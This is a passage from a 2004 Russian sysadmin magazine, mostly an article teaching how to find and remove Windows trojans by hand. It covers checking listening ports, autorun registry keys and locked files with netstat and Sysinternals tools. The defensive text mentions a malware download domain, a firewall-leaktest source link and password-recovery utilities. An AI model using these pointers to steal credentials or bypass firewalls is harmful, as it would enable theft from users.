И конечно же, найдете все утилиты, присущие любойLinux-системе, что позволяет использовать Hakin9 Live идля спасательных целей. И в дополнение целый ряд дру-гих не менее интересных утилит, например стенографи-ческая утилита MP3Stego (http://www.cl.cam.ac.uk/~fapp2/steganography/mp3stego/), позволяющая спрятать информа-цию в музыкальный mp3-файл. Разработчики полностьюсохранили документацию в виде man-страниц плюс напи-сали свою, что позволяет быстро разобраться в работе ссистемой и незнакомыми утилитами, но на сайте, к сожа-лению, информации практически нет.

Вот кратко и все. Сравнивать с другими подобными ди-стрибутивами смысла, я думаю, нет, т.к. каждый из них ори-ентирован под определенные задачи и соответственнопользователя, который будет с ним работать. Это доволь-но хороший и удобный инструмент администратора и дляпользователей, желающих освоиться в UNIX или желающихразобраться в проблемах безопасности.

#/etc/init.d/network restart

nameserver 192.168.0.254

Page 70: 023 Системный Администратор 10 2004

68

безопасность

В этой статье вы найдете ответы на следующие вопросы:! Что делать, если вы предполагаете, что на вашем ком-

пьютере с Windows установлена программа-шпион илитроян?

! Как найти троянскую программу или spyware, если вашантивирус или AdWare ее не находит?

Статья для начинающих системных администраторов иопытных пользователей Windows описывает возможные спо-собы поиска троянских программ и также описывает, как ис-пользовать для этого поиска программы и утилиты из стан-дартной поставки Windows 2000, XP и 2003 и программысторонних разработчиков: netstat, msconfig, msinfo32, tlist,Sysinternals TCPView, CurrPorts, WinTasks, Security TaskManager, Starter, Winpatrol, Sysinternals Autoruns, SysinternalsProcessExplorer, MoveOnBoot, Microsoft PortReporter, SystemSafety Monitor.

Если коротко описать процесс поиска программы, вы-полняющей нежелательные действия, то алгоритм обычнотакой:! Обновить базу данных установленного на вашем ком-

пьютере антивируса и проверить им все локальные дис-ки. (Если антивируса нет, то установить его.) Вам нуж-но осознавать, что если антивирус не обнаружил троя-нов, то это не значит, что их у вас нет. На компьютереможет работать свежий троян или специально подготов-ленная для вас программа-шпион, которой еще нет вбазах ни одной компании производителя антивируса. И,возможно, вы тот человек, который первым выявит ипошлет эту программу для исследования в антивирус-ную компанию.

! Посмотреть, какие процессы работают на компьютереи какие соединения с Интернетом ими используются.Возможно, на диске появились новые файлы, возмож-но, старые файлы изменились. Возможно, в реестре по-явились новые ключи или параметры.

! Просмотреть логи персонального firewall. Если firewallне смог заблокировать несанкционированные соедине-ния трояна в силу своей недостаточной функциональ-ности или неправильной настройки, то есть надежда,что он хотя бы запротоколировал, какие соединениябыли пропущены в Интернет. Если хорошего персональ-ного firewall нет, то хотя бы включите встроенный вWindows XP firewall, который называется ICF (как это сде-лать, описано на http://www.microsoft.com/rus/windowsxp/using/howto/networking/icf.asp). Протоколы встроенногоfirewall можно посмотреть с помощью любого текстово-го редактора, открыв файл C:\WINDOWS\ pfirewall.log.Но лучше использовать более удобные утилиты, ссыл-ки на которые легко найти при помощи Google (напри-мер, набрав в строке поиска «XP firewall logger»).

Первый пункт достаточно понятен и помогает в 80% слу-чаев. За третий пункт нужно браться в самом запущенномслучае и еще лучше со специалистом по компьютерной бе-зопасности (далее КБ). Давайте попробуем выполнить дей-ствия, описанные во втором пункте. Тем более что при вни-мательном выполнении всех операций можно найти и убитьлюбую гадость, засевшую в вашем компьютере.

Возникает вопрос, нужно ли отключаться от Интернета,если мы ищем вирус или троян? Вам понадобятся различ-ные утилиты для поиска трояна (какие конкретно будет опи-сано далее). Если эти утилиты уже есть или на жесткомдиске, или на компакт-диске, или у вас есть возможностьсходить за нужными дисками, или скачать и записать накомпакт-диск нужные программы на другом незараженномкомпьютере, то необходимо отключиться от Сети. Это нуж-но сделать, чтобы предотвратить дальнейшую утечку ин-формации с компьютера. Отключаться нужно даже от ло-кальной сети, например, сети офиса или домашней сети,чтобы не заражать соседние компьютеры.

Однако иногда встречаются особо запущенные случаи,

ДЕНИС БАТРАНКОВ

ПОИСК ТРОЯНОВ ВРУЧНУЮ

конкурсная статья

Page 71: 023 Системный Администратор 10 2004

69№10(23), октябрь 2004

безопасность

в которых приходится скачивать нужные программы черезИнтернет. Например, я однажды приехал в гости к родствен-никам в Сибирь, обрадовался наличию компьютера с мо-демным доступом к Интернету, сел за него и, нажав по при-вычке <Ctrl-Alt-Del>, сразу обнаружил трояна в списке про-цессов. Поскольку нужных программ под рукой не было,пришлось лечить вручную. Единственной «защитой» этогокомпьютера с Windows XP был гордо стоящий антивирус сбазами вирусов двухгодичной давности. В Windows дажене был включен ICF.

К сожалению, подавляющее большинство пользовате-лей неопытны и несведущи в вопросах компьютерной бе-зопасности. Компьютеры на платформе Intel и операцион-ная система Windows являются высокотехнологичными про-дуктами. Ведь даже среди тех, кто пользуется общеизвест-ной программой Microsoft Word, не так много людей, ктоизучал его на курсах или хотя бы читал к нему документа-цию. Что тут говорить про образованность в области ком-пьютерной безопасности.

К каждому пользователю специалиста по компьютер-ной безопасности не приставишь. Поэтому на таких компь-ютерах все подготовительные мероприятия их владельцыбудут делать сами при работающем трояне и подключен-ном Интернете, поскольку Интернет – единственное место,где они могут найти помощь и программное обеспечениедля поиска троянов. Тем более чего им бояться – все важ-ное троян уже наверняка украл и отослал своему владель-цу. Но даже в этом случае, после того как вы скачали всенеобходимые утилиты на локальный диск, нужно отключить-ся от Сети.

Итак, боевая задача состоит в том, чтобы успешно прой-ти три этапа: найти трояна, убить его и поменять свои укра-денные пароли. Именно в такой последовательности.

Замечание: программа в операционной системе Windowsпредставлена в виде процесса, в котором может работатьнесколько нитей, и все эти нити загружены в память изфайлов, хранящихся на диске. Как правило, это файлы срасширением EXE и DLL. Расширения могут быть и други-ми. Злоумышленники часто используют другие расшире-ния, чтобы никто не догадался.

Некоторыми проявлениями троянских программ явля-ются:! несанкционированные соединения c различными хоста-

ми в Интернете;! открытые программами соединения, ожидающие под-

ключения извне;! попытка открыть ненужные для нормальной деятельно-

сти файлы на локальном диске;! добавление себя в списки автозапуска;! маскировка под стандартные системные процессы и раз-

мещение в системной папке Windows.

Находим троянскую программу,которая ждет входящего соединенияОбычно авторы таких программ называют свои програм-мы «программами удаленного управления». Типичной ил-люстрацией этого вида троянских программ является BackOrifice (см. описание http://www.viruslist.com/viruslist.html?id=3957&gloss=8227). Такие программы позволяют делать на

вашем компьютере все что угодно: скачивать файлы, рас-сылать спам, быть прокси-сервером, участвовать в DOS-атаке, быть плацдармом для других атак, естественно, врамках функций, предоставляемых им имеющейся опера-ционной системой. В данном случае мы рассматриваемверсии Windows: 2000 SP4, XP SP1, 2003.

Такие программы открывают TCP-порт на компьютережертвы, устанавливают его в состояние LISTENING и ждут,когда хакер подключится на этот порт. Таким образом, намнужно выявить все процессы, которые открыли TCP-порты икоторые находятся в состоянии LISTENING, и решить, одоб-ряете ли вы это соединение или нет. То же самое можно ска-зать про UDP-порты – за ними тоже надо смотреть, с един-ственным отличием, что у них нет состояний – с этих пор-тов может как приниматься информация, так и отсылаться.С ходу можно сказать, что если у вас обычный компьютер,подключенный к выделенной линии или через модем в Ин-тернет, то в идеале у вас не дожно быть слушающих портов.Даже если приложения или сервисы Windows открыли этипорты, то они должны быть закрыты персональным firewall.

Чтобы выявить программы, которые ожидают (и уста-навливают) соединения в Windows XP и Windows 2003, мож-но, конечно, воспользоваться стандартной утилитой netstatc параметрами -ano. (Параметр -а заставляет netstat пока-зывать все имеющиеся подключения и ожидающие порты,-n преобразует вывод адресов и портов в числовой формат,-o отображает для каждого подключения идентификаторпроцесса, создавшего это подключение). В Windows 2000ключ -o еще не был изобретен. Например:

Результат, как видите, аскетичен: порты, конечно, вы-водятся, но вместо информации о приложениях выдаетсятолько номер процесса. Хотелось бы еще узнать имя про-цесса и местоположение файла, из которого он был запу-щен. Но давайте хотя бы разберемся с тем, что уже есть.

Если вы увидели у себя много TCP-соединений в состо-янии LISTENING, то не пугайтесь – это, скорее всего, нетрояны, а работающие по умолчанию стандартные серви-сы Windows.

C:\Documents and Settings\User>netstat -ano

Активные подключения

Имя Локальный адрес Внешний адрес Состояние PID

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 856

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4

TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 1028

TCP 0.0.0.0:4928 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:4929 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:4946 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6213 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6218 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6247 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6253 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6299 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:6344 0.0.0.0:0 LISTENING 3660

TCP 0.0.0.0:9762 0.0.0.0:0 LISTENING 2324

TCP 0.0.0.0:10641 0.0.0.0:0 LISTENING 2884

TCP 0.0.0.0:10676 0.0.0.0:0 LISTENING 2324

TCP 0.0.0.0:10892 0.0.0.0:0 LISTENING 2324

TCP 127.0.0.1:111 0.0.0.0:0 LISTENING 2676

TCP 127.0.0.1:143 0.0.0.0:0 LISTENING 2676

TCP 127.0.0.1:3044 0.0.0.0:0 LISTENING 1608

TCP 127.0.0.1:3045 0.0.0.0:0 LISTENING 1028

TCP 127.0.0.1:3046 0.0.0.0:0 LISTENING 1028

TCP 127.0.0.1:3085 0.0.0.0:0 LISTENING 2324

TCP 127.0.0.1:5335 0.0.0.0:0 LISTENING 3232

TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 3232

Page 72: 023 Системный Администратор 10 2004

70

безопасность

Алгоритм просмотра ожидающих соединений такой:! Отметаем все соединения, у которых локальный адрес

установлен 127.0.0.1 – это означает, что к этим портамможет подключиться только программа, запущенная наэтом же компьютере. Подключение извне к этому портуи адресу невозможно.

! Адрес 0.0.0.0 означает, что любое подключение по лю-бому IP-адресу, который есть на вашем компьютере, слюбого хоста Интернета будет возможно на указанныйпорт. Напомню, что на одной сетевой карте может бытьнесколько IP-адресов. Не говоря уже о том, что у васможет быть и несколько сетевых карт.

! В некоторых ожидающих соединениях вы увидите те, укоторых явно указан IP-адрес одной из ваших сетевыхкарт. К ним также возможно подключиться из Интерне-та через указанный порт.

Получается, что для всех ожидающих соединений изпоследних двух пунктов нам нужно узнать, какое приложе-ние создало это подключение, и нужно ли это вам.

Следующим этапом является установление имени при-ложения, использующего это соединение. Очевидно, ре-зультат команды netstat -ano в виде идентификатора про-цесса нас не устраивает, поскольку, пользуясь стандарт-ными средствами графического интерфейса и команднойстроки Windows, невозможно получить по номеру процес-са его имя и тем более имя исполняемого файла. Конечно,можно самому написать программу, которая выполняет та-кие действия, но, к счастью, в Сети уже есть приложения,которые делают то, что нам нужно.

Тем более что в статье Microsoft Knowledge Base Article –816944 (http://support.microsoft.com/default.aspx?scid=kb;en-us;816944) сами сотрудники фирмы Microsoft советуютпользоваться такими программами, как TCPView (http://www.sysinternals.com/ntw2k/source/tcpview.shtml) и FPort(http://www.foundstone.com/knowledge/proddesc/fport.html).

Я, однако, советую другую программу, которая называ-ется CurrPorts (http://freehost14.websamba.com/nirsoft/utils/cports.html). FPorts плох тем, что работает только в команд-ной строке и ничего не умеет, кроме показа имени процес-са и открытых им портов. TCPView – отличная программа,позволяет закрыть соединение и убить процесс, но CurrPortsболее функциональна: ко всему перечисленному выводитбольше информации о процессе, показывает соответству-

ющие процессу сервисы, позволяет делать HTML-отчеты.Все эти программы бесплатны.

Замечание: на самом деле для просмотра процессов иих идентификаторов можно воспользоваться программойtlist.exe из файла support.cab, лежащего на каждом лицен-зионном диске Windows. К сожалению, эта программа неустанавливается по умолчанию.

Сравните TCPView и CurrPorts (рис. 1 и рис. 2).

CurrPort может с промежутками в 2 секунды показыватьпрограммы, использующие открытые порты (лучше сказать,сокеты). К сожалению, соединения происходят достаточнобыстро и практически невозможно отследить все соедине-ния в реальном времени. Для выявления несанкциониро-ванных подключений нужно протоколировать все соедине-ния и потом просматривать полученные записи.

Отлично, берем CurrPorts, получаем список процессов,которые что-то слушают во внешнем мире или даже соеди-няются с внешним миром.

Что дальше? Ведь получается, что вам нужно хорошознать свой компьютер, а точнее, что за программы вы уста-новили и как они называются, да еще понимать, что про-грамма c:\windows\system32\svchost.exe – системная про-грамма Windows (см. описание http://www.liutilities.com/products/wintaskspro/processlibrary/svchost), а например,c:\windows\svchost.exe – уже непонятно откуда взявшаясяпрограмма под этим именем (например, это может бытьвирус, см. описание здесь: http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100277). Просто хакер

Ðèñóíîê 2

Ðèñóíîê 1

Page 73: 023 Системный Администратор 10 2004

71№10(23), октябрь 2004

безопасность

скрыл под именем системного файла свою программу иположил ее в системную папку.

Итак, что делать, если вы нашли незнакомый процесс?Есть такая услуга: идентификация процесса по имени. Су-ществуют сайты, на которых выложен список процессов,чаще всего встречающихся в операционной системеWindows. Таким образом, по имени процесса вы можетепонять, для чего он нужен на вашем компьютере, какие пор-ты он обычно использует, и сравнить с данными CurrPorts.Например, http://www.liutilities.com/products/wintaskspro/processlibrary. Для примера попробуйте посмотреть описа-ние svchost.exe: http://www.neuber.com/taskmanager/process/svchost.exe.html. Кроме того, можно набрать в поисковоймашине имя процесса и номер порта – вероятнее всего, вынайдете место, где описывается этот процесс или где опи-сывается этот вирус или троян. Но лучше всего купить со-ответствующие продукты, которые помогут вам идентифи-цировать процессы без подключения к Интернету: например,WinTasks Pro (http://www.liutilities.com/products/wintaskspro)или Security Task Manager (http://www.neuber.com/taskmanager/index.html).

Таким образом, вы, пользуясь маленькой утилитой, на-шли процессы, которые зачем-то слушают порты, и при по-мощи Интернета поняли, что это за процессы и нужно лиих удалять с диска. Если вы не уверены точно, что за про-цесс работает на вашем компьютере, обращайтесь к спе-циалистам. Их можно найти в форумах, например, наwww.securitylab.ru/forum.

Необходимо понимать, что многие трояны прячутся подименами системных процессов, чтобы их невозможно былоубить из менеджера задач. Но CurrPorts благополучно уби-вает и системные процессы. Будьте осторожнее – умира-ние системного процесса может привести к зависанию илиперезагрузке компьютера.

Другим вариантом такого ручного поиска процесса яв-ляется просмотр всех процессов с помощью последней вер-сии программы Sysinternals Process Explorer (http://www.sysinternals.com/ntw2k/freeware/procexp.shtml) (рис. 4).

Одной из полезных функций данной программы явля-ется просмотр свойств каждого процесса, где показаныиспользуемые этим процессом порты. Например, операци-онная система использует:

Открытый слушающий порт 445 означает, что системаможет предоставлять доступ к дискам посредством прото-кола SMB (Server Message Broadcast), также известного подназванием CIFS (Common Internet File System) через Интер-нет. Неправильное конфигурирование этого сервиса можетпривести к возможности чтения системных и других фай-лов третьими лицами и захвату контроля над системой.Значительное количество пользователей открывают ло-кальные диски для чтения и записи по сети для упрощенияобмена информацией, давая также возможность и третьимлицам работать с их системами. Если вы не хотите, чтобыкто-то изучал ваши диски или даже вносил изменения вданные, хранящиеся на них, то лучше отключить этот сер-

Ðèñóíîê 4

Ðèñóíîê 3

Page 74: 023 Системный Администратор 10 2004

72

безопасность

вис совсем. За 445 порт отвечает драйвер netbt.sys, поэто-му есть два способа избавиться от него:! отключить драйвер netbt.sys через «Диспетчер уст-

ройств», но тогда не будет работать DHCP-клиентWindows, что часто необходимо абонентам Интернета,использующим выделенные линии;

! переименовать в ветке реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters па-раметр TransportBindName (например, на OldTransportBindName), и после перезагрузки UDP- и TCP-порты бу-дут отключены.

Если у вас внешний IP-адрес, то это нелишне сделать,поскольку по статистике 445 и 135 порты чаще всего ска-нируют в Интернете (см. статистику http://isc.sans.org/top10.php). Без преувеличения можно сказать, что каждыйкомпьютер во внешней сети подвергается постоянным по-пыткам соединения с TCP-портами 445 и 135, рассчитываяна то, что пользователи оставили открытым анонимныйдоступ (null сессию). 135 порт (NETBIOS) отключается всвойствах протокола TCP/IP в свойствах сетевой карты. От-крытый порт 1026 говорит о том, что включена «Службасообщений» (Messenger). Если вы ей не пользуетесь, то от-ключите этот сервис. Для этого запустите консоль управле-ния сервисами Windows (services.msc), кликните правой кноп-кой на «Службе сообщений», выберите «Свойства» и в поле«Тип запуска» выберите «Отключено» и нажмите «OK».

И так далее по шагам для каждой программы нужноизучить, что за порты она использует, зачем они ей нужныи желаете ли вы, чтобы она передавала куда-то данные.

Находим программу, производящуюнесанкционированные соединенияс ИнтернетомВ этой части нам нужно распознать программу, которая,попав на компьютер, считывает нужные ей данные (напри-мер, ваши пароли) и отсылает их куда-то в Интернет. По-скольку ваши важные данные достаточно небольшого объе-ма: учетные записи, пароли, адреса почтовых ящиков, те-лефоны dial-up, то передать все это можно очень быстро,особенно если упаковать. Естественно, что все это хранит-ся на диске и все это можно прочитать и посмотреть. По-смотрите хотя бы утилиты MessenPass (http://www.nirsoft.net/utils/mspass.html) или Protected Storage PassView (http://www.nirsoft.net/utils/pspv.html). Первая утилита покажет па-роли из любого мессенджера (ICQ, MSN, Trillian и т. д), вто-рая – из Explorer и Outlook.

Очевидно, что некоторые процессы соединяются с Ин-тернетом на короткое время и нам очень сложно сидеть весьдень за программой CurrPorts и следить, кто именно соеди-няется с Интернетом. Вдобавок, это может быть бесполез-ным, поскольку некоторые троянские программы соединя-ются с Интернетом не сами, а «просят» это сделать другуюлегальную программу, например, Explorer. Это позволяетим скрыться от слежения и вдобавок обмануть ваш персо-нальный firewall. Например, я уверен, что у вас он пропус-кает все исходящие соединения Explorer.exe на любой ад-рес по 80 порту. (Если firewall вообще у вас стоит.) ПосколькуInternet Explorer экспортирует функции, которыми может

пользоваться любое стороннее приложение, то троян мо-жет от имени Internet Explorer зайти на сайт, созданный спе-циально для него (например, недавно ставший известнымmaybeyes.biz), и как параметры строки передаст ваши ло-гины и пароли или скачает свои дополнительные модули.Если хорошо поискать, то можно даже найти исходный текстподобной программы: tooleaky.zensoft.com/tooleaky.zip. Этапрограмма использует WinExec() для запуска Explorer.

Замечание: сайт maybeyes.biz создан специально длятого, чтобы троян Ducky загрузил с этого сайта свою основ-ную часть. Этот троян использует последнюю уязвимость вWindows XP SP1 и Windows 2003, которая позволяет емузагрузиться на ваш компьютер, пока вы просматриваетеJPEG(JPG)-картинку. Подробное описание этой уязвимостина сайте Microsoft: MS04-028 (http://www.microsoft.com/technet/security/bulletin/MS04-028.mspx). Обновление, ис-правляющее эту уязвимость, доступно на сайте Microsoft.

Бороться с таким видом троянов трудно. Персональныеfirewall не всегда помогают. А точнее, вообще не помогают.В этом можно убедиться, посмотрев список персональныхfirewall, прошедших leaktests (http://www.firewallleaktester.com/tests.htm). Leaktest – класс программ, реализующий одиниз видов утечки информации в обход персонального firewall.Как видно, пока нет идеального firewall, блокирующего всеleaktests. Пока в лидерах Look’n’stop, но он тоже ловит невсе. К сожалению, чтобы грамотно настроить персональ-ный firewall, нужно обладать как минимум знаниями стекапротоколов TCP/IP, представлять, как работает операцион-ная система Windows, и быть знакомым с функциональны-ми возможностями конкретного firewall. Но это тоже не все-гда помогает, потому как злоумышленники постоянно ищут(и находят) новые методы обхода firewall. Профессионалына основе накопленного опыта могут закрыть лазейки в опе-рационной системе, которые уже известны. Но что хакерыпридумают завтра – никому неизвестно. Поэтому выборанет и придется повышать свою грамотность в отношениибезопасности. Конечно, с ходу профессионалом в этой об-ласти стать сложно, но существенно затруднить нехорошимлюдям выполнение их замыслов вполне возможно.

Существует бесчисленное количество способов попа-дания трояна на ваш компьютер. Вы можете сами скачатьего из Интернета, как «очень интересную программу, кото-рую вы обязательно должны посмотреть», эта программаможет прийти вам по электронной почте как «обновлениебезопасности от Microsoft». Кроме того, вам может послатьспециально или не специально зараженную программу вашзнакомый по ICQ или MSN, вы можете принести троян иливирус на дискете или компакт-диске. Не стоит думать, чтона компакт-дисках не бывает вирусов и троянов. Я видел,как люди параноидально проверяют чистые дискеты из ко-робки на вирусы, но очень редко встречался с тем, что людипроверяют антивирусом свежекупленные компакт-диски спрограммным обеспечением или играми. Я видел однаж-ды подобный компакт-диск. На нем была записана компь-ютерная игра и в довесок вирус.

Кроме того, существовало и существует огромное ко-личество дырок в Windows и приложениях под Windows,которые распространяются без участия пользователя. Какправило, они пользуются отсутствием в исполняемом коде

Page 75: 023 Системный Администратор 10 2004

73№10(23), октябрь 2004

безопасность

различных компонентов Windows проверок на длину вхо-дящих данных или параметров или, короче говоря, пере-полнением буфера. Например, известный компьютерныйчервь Blaster (http://support.microsoft.com/kb/826955/RU/)использует переполнение буфера в сервисе RPC. А вот тро-ян Ducky уже использует ошибку в обработке JPEG-карти-нок (переполнение буфера) для своего запуска на вашемкомпьютере. Как это ни ужасно, но, просто просмотрев кар-тинку с удаленного сайта через Explorer, вы рискуете зара-зиться новым трояном. И неизвестно, что нас ждет завтра.

Понятно, что очень сложно предусмотреть все вариан-ты заражения компьютера, и, более того, неизвестно, ка-кие уязвимости Windows вирусы и трояны будут использо-вать в будущем, поэтому надо выполнять хотя бы два про-стых правила:! не скачивать и не запускать неизвестные программы из

Интернета;! включить «автоматическое обновление Windows», что-

бы вовремя устранять уязвимости.

Но если троян (или вирус) попал на ваш компьютер, тоего задача: закрепиться и остаться на компьютере как мож-но дольше, а при возможности распространиться дальше.Тут и проявляется ахиллесова пята этих троянов (впрочем,как и любого другого вируса) – им нужно, чтобы их кто-тозапускал при следущей загрузке Windows. Если они не мо-гут запуститься, то не могут ничего сделать. Для своегопоследующего запуска они используют стандартные меха-низмы Windows: запись в папку автозагрузки и в списокпрограмм для автозапуска в реестре, запуск по расписа-нию, установка как сервис, запись в system.ini и win.ini. Какправило, такие трояны не используют вирусную техноло-гию внедрения непосредственно в сам исполняемый файл,а идут отдельным модулем в виде exe- или dll-файла.

Наша задача свелась к тому, чтобы «поскрести по сусе-кам» и выявить все процессы, что у нас есть в автозапуске,и опять посмотреть, нужны ли они нам там. Программы, ко-торые помогают это делать, уже написаны. Windows нампредлагает утилиту msconfig.exe, с помощью которой мож-но посмотреть INI-файлы, сервисы и автозагрузку (рис. 5).

Однако лучшим стандартным средством Windows дляпросмотра автоматически загружаемых программ являет-ся msinfo32.exe (можно запустить через меню Пуск →→→→→ Про-граммы →→→→→ Служебные →→→→→ Сведения о системе) (рис. 6).

Здесь вы увидите более полный список, поскольку по-лучен он из гораздо большего количества укромных местWindows. Но, к сожалению, отредактировать его эта про-грамма не позволяет.

Ну и последний вариант – это просмотреть реестрWindows, используя утилиту regedit.exe. Например, в HKLM\Software\Microsoft\Windows\CurrentVersion\Run очень многоинтересного.

Посмотрим, какие варианты есть у сторонних разработ-чиков. Начну с программы Starter (http://codestuff.tripod.com/features.shtml), которая сама читает данные из реестра иINI-файлов и затем показывает содержимое в удобномвиде (рис. 8).

Она просматривает и показывает имена программ, ко-торые будут автоматически выполнены. Чтобы увидеть пол-ную картину, нужно в «Настройках» во вкладке «Разное»поставить галочку на параметре «Элементы» только дляэкспертов, и тогда имена программ она будет брать из сле-дующих ключей реестра, папок автозагрузки и INI-файлов:! HKEY_CURRENT_USER\Software\Microsoft\Windows\

CurrentVersion\Run;! HKEY_CURRENT_USER\Software\Microsoft\Windows\

CurrentVersion\RunOnce;! HKEY_CURRENT_USER\Software\Policies\Microsoft\

Windows\System\Scripts;! HKEY_CURRENT_USER\Software\Microsoft\Windows\

CurrentVersion\Policies\Explorer\Run;! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Run;

Ðèñóíîê 6

Ðèñóíîê 5

Page 76: 023 Системный Администратор 10 2004

74

безопасность

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce;

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx;

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon;

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad;

! HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts;

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run;

! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon;

! HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run;

! HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\RunOnce;

! папка Current User\Главное меню\Программы\Автозаг-рузка;

! папка All Users\Главное меню\Программы\Автозагрузка;! папка Default User\Главное меню\Программы\Автозаг-

рузка;! файл Win.ini: разделы [Windows].Run, [Windows].Load.

Еще одной ценной особенностью этой программы явля-ется то, что она показывает список процессов и подгружен-ные этими процессами DLL, что позволяет бороться с атака-

ми DLL Injection. Я не буду заставлять вас разбираться еще ив этом. Оставьте работу специалистам по безопасности.

Но эта программа показывает не все места, где можетпрятаться троян. Еще нужно смотреть на встраиваемые мо-дули (plugins) Explorer, WinAmp, Photoshop, смотреть, какиезарегистрированы ShellExtension (то, что запускается принажатии правой кнопки на объекте), «Назначенные зада-ния» и наконец сервисы. Давайте попробуем другую про-грамму WinPatrol PLUS (http://www.winpatrol.com).

Программа платная, но даже в незарегистрированномварианте она позволяет узнать много про ваш Windows.Думаю, что самое полезное окошко в программе – это IEHelpers, где показаны дополнительные модули, которыеподгружаются при запуске Explorer.

Чаще всего я использую программу Sysinternals Autoruns(http://www.sysinternals.com/ntw2k/freeware/autoruns.shtml) –

Ðèñóíîê 8

Ðèñóíîê 7

Page 77: 023 Системный Администратор 10 2004

75№10(23), октябрь 2004

безопасность

только она показывает ShellExtensions и другие хитрые ком-поненты Windows (рис. 10).

Итак, мы посмотрели, что находится в автозапуске, уда-лили ненужные программы и заодно удалили трояны, кото-рые периодически запускаются для выполнения «нехоро-ших» задач. Самое главное, что одновременно мы навелипорядок в Windows.

И напоследок скажу, что если троянская программа присвоем запуске удаляет себя из реестра и при завершенииWindows добавляет себя снова в реестр, то в этом случаето, что вы читали выше, не работает. Но зато помогает кноп-ка Reset.

Убить троянаЧто самое интересное, периодически это становится труд-ной задачей. Что делать, если, пытаясь удалить файл, высталкиваетесь с сообщениями: «Доступ к файлу запрещен»,«Файл используется»? Удалить такие файлы можно толькоспециальным образом. Очевидно, удалять их нужно до тогомомента, как они начали использоваться, либо убивать про-цесс, заблокировавший файл, что не всегда возможно.

Я предлагаю скачать программу MoveOnBoot (http://www.softwarepatch.com/software/moveonboot.html), котораяудалит по вашей просьбе файл в самом начале загрузкиWindows, когда файл еще никем не используется. Послеустановки программы просто кликаете правой кнопкой на

этом файле, в открывшемся контекстном меню выбираете«Свойства» и в новой вкладке нажимаете кнопку Execute.После перезагрузки этот файл будет удален (рис. 9).

Как посмотреть, что «ушло»с вашего компьютераНесмотря на все наши усилия (и не только наши), все рав-но нужно констатировать факт, что если мы нашли и обез-вредили трояна, то неизвестно, что было украдено с ком-пьютера. Поэтому, после того как мы провели «дезинфек-цию», нужно обязательно поменять все пароли.

Чтобы в следующий раз не производить все перечис-ленные выше действия, давайте поставим какой-нибудьпродукт, который бы протоколировал все успешные соеди-нения с внешним миром, чтобы потом, уже после инциден-та, можно было понять, откуда произошла утечка.

Во-первых, приходит на ум поставить галочку «записы-вать успешные соединения» во встроенном в Windowsfirewall и периодически просматривать эти записи. Ссылкина программы для удобного просмотра этих объемных про-токолов легко найти с помощью любого поискового серве-ра, например Google.

Во-вторых, неплохим бесплатным решением является на-писанная Microsoft утилита, которая называется Port Reporter(http://support.microsoft.com/?id=837243). Советую внима-тельно посмотреть на нее. Эта утилита не только протоко-лирует соединения, но и расписывает все DLL, которымипользовался процесс. Ну и, наконец, можно поставить лю-бой сторонний firewall, который имеет функции протоколи-рования соединений. Например, Agnitum Outpost (http://www.agnitum.com/products/outpost). Но это платный способ.

Как все это автоматизироватьЗдесь я хочу рассказать о программе System Safety Monitor(http://maxcomputing.narod.ru/ssm.html?lang=ru).

Все эти операции были бы необходимы, если бы мы сво-евременно узнавали о добавлении программ в реестр, вавтозапуск, о запуске одних программ другими програм-мами и т. д. Опять же нашелся человек, который это авто-матизировал (рис. 11, 12).

Ðèñóíîê 9

Ðèñóíîê 10

Page 78: 023 Системный Администратор 10 2004

76

безопасность

Краткие характеристики:! Позволяет контролировать, какие приложения могут, а

какие не могут быть запущены на вашем компьютере.! Может запретить одному приложению запускать другое.! Предотвращает процесс внедрения стороннего кода в

чужое приложение («Dll Injection»).! Может предотвратить установку клавиатурных шпионов.! Дает возможность контролировать загрузку драйверов.! Позволяет контролировать доступ к таким объектам

ядра, как «\Device\PhysicalMemory».! Предупреждает об изменении «охраняемого» ключа ре-

естра Windows.! Позволяет легко редактировать список запускаемых при

загрузке компьютера приложений.! Автоматически закрывает окна в зависимости от их за-

головка.! Подобно меню <Ctrl+Alt+Del> может принудительно за-

вершать работу запущенных процессов (даже тех, ко-торые в Windows 9x не видны).

! Имеет легкоредактируемые списки разрешенных и зап-рещенных приложений. «Запрещенные» приложения ав-томатически закрываются при запуске.

! Уведомляет об установке новых сервисов Windows NT! Уведомляет об изменениях в заданных INI-файлах и меню

автозапуска Windows. По умолчанию контролируетсяwin.ini и system.ini, но можно расширить этот список.

! Контролирует вызовы API, используемые для внедре-ния в чужое адресное пространство и для сокрытия про-цессов.

! Протоколирует события, происходящие в системе.

Эта программа опережает многие программы по функ-циональности. Она дает пользователю возможность быст-ро реагировать на событие, предоставляя подробную ин-формацию о том, что произошло, легко настраивается поднужды пользователя и позволяет следить за безопаснос-тью сразу нескольких уязвимых компонентов Windows.

Описанные в статье программы должны быть у вас все-гда под рукой. Особенно полезными я считаю продуктыSysinternals. Было бы разумно скачать все необходимое про-граммное обеспечение до появления трояна на вашем ком-пьютере и записать на компакт-диск.

Ðèñóíîê 12

Ðèñóíîê 11

